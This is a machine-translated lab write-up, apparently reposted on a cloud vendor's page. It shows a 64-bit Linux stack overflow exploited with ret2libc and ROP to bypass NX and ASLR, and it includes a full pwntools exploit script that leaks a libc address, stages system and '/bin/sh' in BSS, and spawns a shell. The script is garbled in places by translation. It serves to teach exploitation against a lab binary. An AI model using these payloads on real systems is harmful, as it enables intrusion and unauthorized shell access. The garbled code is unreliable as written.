64-bit Linux system: Stack overflow +ret2libc ROP attack

Source: Internet
Author: User

A Experimental requirements
Stack Overflow + ret2libc ROP
? Operating system: Ubuntu 16.04 64bit
? Security mechanism: Non-performing bit protection, ASLR (memory address randomization)
Open the security mechanism, ensure that XXX can bypass the above security mechanism, exploit the vulnerability to complete attack, achieve the basic goal: Call system ("/bin/sh"), open the shell.
Two Experiment Overview
RET2LIBC (RETURN-INTO-LIBC) is a code reuse technique that utilizes buffer overflow to implement attack by overwriting the return address (EIP) of the stack frame, returning it to the library function in the system, and using the functions existing in the library function. Instead of directly locating the injected shellcode.
Linux system is mainly about buffer overflow and the protection mechanism of ASLR. ASLR enables the randomization of the address of the heap, stack, code, and shared libraries of the process at each run of the program, greatly increasing the difficulty of locating. In addition, in the Linux64-bit system, the transfer parameters between functions are no longer stacked, but are passed as registers. Therefore, in order to implement the attack operation in the 64-bit Ubuntu system, in addition to bypassing the above two security mechanisms, you also need to control the register for passing parameters. There are three key points of this attack:
1) stack not executable → code reuse (RET2LIBC call system function)
2) aslr→ Get the address of the system function through the PLT and the Got table
3) 64-bit system transfer parameters in register mode → via ROP control register
Three Experimental environment
Ubuntu Desktop 16.04 LTS AMD64
GCC Gdb Python Pwntool
Four Experimental content
4.1 Vulnerability Procedures
The VUL.C Code of the vulnerability program is as follows, and the main function reads "Hello, World" to the standard output and calls the Vulnerable_function () function. In the Vulnerable_function () function, a 128-byte buf was requested, and a call to read () reads the standard input into buf without a boundary check, which is where the vulnerability is.

Randomization of address space open sudo sysctl–w kernel.randomize_va_space=2
gcc compiler Vulnerability program, explicitly indicate-Z noexecstack, the normal operation effect as shown:

4.2 Attack Vulnerability Procedure
4.2.1 Get overflow Point location
In order to correctly locate the overflow point location, the following TXT file is constructed.

Run discovery overflow in gdb Debug, because the program uses memory address can not be greater than 0x00007fffffffffff, otherwise throws an exception, so the program stops in the Vulnerable_function () function. Although the PC can not jump, but ret equivalent to "pop RIP" instructions, so just look at the value of the top of the stack to know the address of the PC jump. You can see that the data at the top of the stack is 0x3765413665413565, which is E5ae6ae7, which is the 137th byte in the file, so the overflow point is 136.

4.2.2 Looking for gadgets
The first six parameters in the 64-bit Ubuntu system are saved in Rdi, RSI, RDX, RCX, R8, and R9 registers, if more parameters are stored on the stack. There are only read () and write () two functions in the vulnerability program, and no other auxiliary components. To control the register of passed parameters, you can extract the generic gadgets in the program initialization function.
Enter Objdump–d./vul to observe the _libc_csu_init () function.

There are two accessories available:

Accessories 1

4005f0: 4c 89 ea                mov    %R13,%RDX  4005f3:   4c 89 f6                mov    %R14,%RSI  4005f6:   44 89 ff                mov    %R15d,%EDI  4005f9:   41 ff 14 dc             callq  *(%R12,%RBX,8)  4005fd:   48 83 c3 01             add    $0x1,%RBX  400601:   48 39 eb                cmp    %RBP,%RBX  400604:   75 ea                   jne    4005f0 <__libc_csu_init+0x40>

With accessory 1, such as setting RBX to 0,r12 can be controlled, through callq* (%r12,%rbx,8) can jump to arbitrary address execution code. After the RBX register content is added 1, it is determined that if RBP equals RBX, the first code will continue to execute. To make the values of RBP and RBX equal, you can set the value of RBP to 1.

Accessories 2

400606: 48 83 c4 08             add    $0x8,%rsp  40060a:   5b                   pop    %RBX  40060b:   5d                   pop    %RBP  40060c:   41 5c                   pop    %R12  40060e:   41 5d                   pop    %R13  400610:   41 5e                   pop    %R14  400612:   41 5f                   pop    %R15  400614:   c3                      retq

With accessory 2, the data on the stack can be placed in the specified register.
By using these two accessories, the data in the stack can be used to control the value of the RBX,RBP,R12,R13,R14,R15 register using the accessory 2, and then using the accessory 1 to control the Rdx,rsi,edi register and call the function of the address stored in the register R12.
4.2.3 Get the address of the system function by offset
Since the ASLR mechanism is to randomize the starting address of stacks and shared library files, and the offsets between the internal data are the same, the address of the system () function can be computed from the offset by first leaking out the addresses of some functions in memory and then using the leaked function addresses to libc.so.
The write () and read () functions are called in the vulnerability program VUL.C to output the write got address through write (), and then to calculate the address libc.so in memory. In order to return to the original program, the reuse of the vulnerability requires that the data on the stack continue to be overwritten until the return value is overwritten with the main function of the target function.
The construction payload1 needs to know three data: The got address of write, the offset of write and system, and the address of the main function. The first two data can be obtained from the functions in Pwntool, and the address of the main function is entered objdump-d vul on the command line | grep main gets.


After executing the stack structure as shown, call CALLQ[R12+RBX*8],RBX is 0, so call R12 in the Write function, write three parameters passed through EDI,RSI,RDX Register respectively, that is, execute Wrtie (1,got_write,8), The address of the system function can be computed from the offset previously computed by printing the Write function address on the standard output, which is the screen. Then RBX plus 1, and rbp=1 comparison, just equal, continue to execute, because the bottom is all 0, and finally jump to the function of the main place to continue execution.

4.2.4 reads the system () address and the string "/bin/sh" using Read (). In BSS segment
Since the parameters of the 64-bit system are not stored on the stack, but are passed through the register, plus the ASLR is turned on, you need to find a fixed location to save the parameters. The BSS section is used to hold global variable values, addresses are fixed, and can be read and writable. To make it easier to call the system function and pass the parameter "/bin/sh", you can use the Read () function to write it to a BSS segment with fixed address.
The construction payload2 needs to know two data: The got address of the read, the first address of the BSS segment. Where Read's got address is available directly from the Pwntool method, and the first address of the BSS segment can be entered readelf-s vul on the command line | grep BSS obtained.


After executing the stack structure as shown, similar to PAYLOAD1, call the Read function in R12, the required three parameters are passed through EDI,RSI,RDX respectively, that is, execute read (0,bss_addr,16), from the standard input read 16 bytes written to the first address of the BSS segment, These 16 bytes include the system address and the string "/bin/sh" computed in the previous step.

4.2.5 Execution System ("/bin/sh")
After the above two steps, the address of system and the parameter "/bin/sh" string required for invocation are stored in the BSS section, the BSS address is fixed, and the construction payload3 calls system.

After executing the stack structure as shown, similarly, the R12 is stored in the first address of the BSS segment, and the first address of the BSS segment stores the address of the system function. The R15 is stored in the BSS header address +8,bss+8 is stored in the string "/bin/sh", the value of R15 is assigned to Edi,edi to pass the first argument, that is, the system ("/bin/sh") is called.

Finally the shell is obtained and the result is as follows:

Report:

Attack Code exp.py
' #!/usr/bin/env python
From PWN Import *

Elf = Elf (' Vul ')
libc = ELF ('/lib/x86_64-linux-gnu/libc.so.6 ')

p = Process ('./vul ')
Got_write = elf.got[' Write ']
Print "Got_write:" + Hex (got_write)
Got_read = elf.got[' read ']
Print "Got_read:" + Hex (got_read)
off_system_addr = libc.symbols[' Write ']-libc.symbols[' system ']
Print "OFF_SYSTEM_ADDR:" + Hex (OFF_SYSTEM_ADDR)

Main = 0x40057a

#rdi = EDI = R13, RSI = R14, RDX = R15
#write (Rdi=1, Rsi=write.got, rdx=4)
Payload1 = "\x41" *136

#pop_junk_rbx_rbp_r12_r13_r14_r15_ret
Payload1 + = P64 (0x400606) + p64 (0) +p64 (0) + P64 (1) + P64 (got_write) + P64 (8) + P64 (got_write) +p64 (1)
#mov RDX, R15; mov rsi, R14; mov edi, r13d; Call Qword ptr [R12+RBX8]
Payload1 + = P64 (0x4005f0)
Payload1 + = "\x00"
56
Payload1 + = P64 (main)

P.recvuntil ("Hello, world\n")
Print "\n############ #sending payload1#############\n"
P.send (PAYLOAD1)
Sleep (1)

WRITE_ADDR = U64 (P.RECV (8))
Print "WRITE_ADDR:" + Hex (WRITE_ADDR)

SYSTEM_ADDR = write_addr-off_system_addr
Print "SYSTEM_ADDR:" + Hex (SYSTEM_ADDR)

bss_addr=0x601040

P.recvuntil ("Hello, world\n")

#################### #payload2 ###########

#rdi = EDI = R13, RSI = R14, RDX = R15
#read (rdi=0, rsi=bss_addr, rdx=16)

Payload2 = "\x00" *136

Payload2 + = P64 (0x400606) + p64 (0) + p64 (0) + P64 (1) + P64 (got_read) + P64 (+) + p64 (bss_addr) + p64 (0)

Payload2 + = P64 (0x4005f0)

Payload2 + = "\x00" *56
Payload2 + = P64 (main)

Print "\n############ #sending payload2#############\n"
P.send (PAYLOAD2)
Sleep (1)

P.send (P64 (SYSTEM_ADDR))
P.send ("/bin/sh\0")
Sleep (1)

P.recvuntil ("Hello, world\n")

#################### #payload3 ###########

#rdi = EDI = R13, RSI = R14, RDX = R15
#system (RDI = bss_addr+8 = "/bin/sh")

Payload3 = "\x00" *136

Payload3 + = P64 (0x400606) + p64 (0) +p64 (0) + P64 (1) + P64 (bss_addr) + p64 (0) + p64 (0) + p64 (bss_addr+8)

Payload3 + = P64 (0x4005f0)

Payload3 + = "\x00" *56
Payload3 + = P64 (main)

Print "\n############ #sending payload3#############\n"
Sleep (1)
P.send (PAYLOAD3)

P.interactive ()
`

64-bit Linux system: Stack overflow +ret2libc ROP attack

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.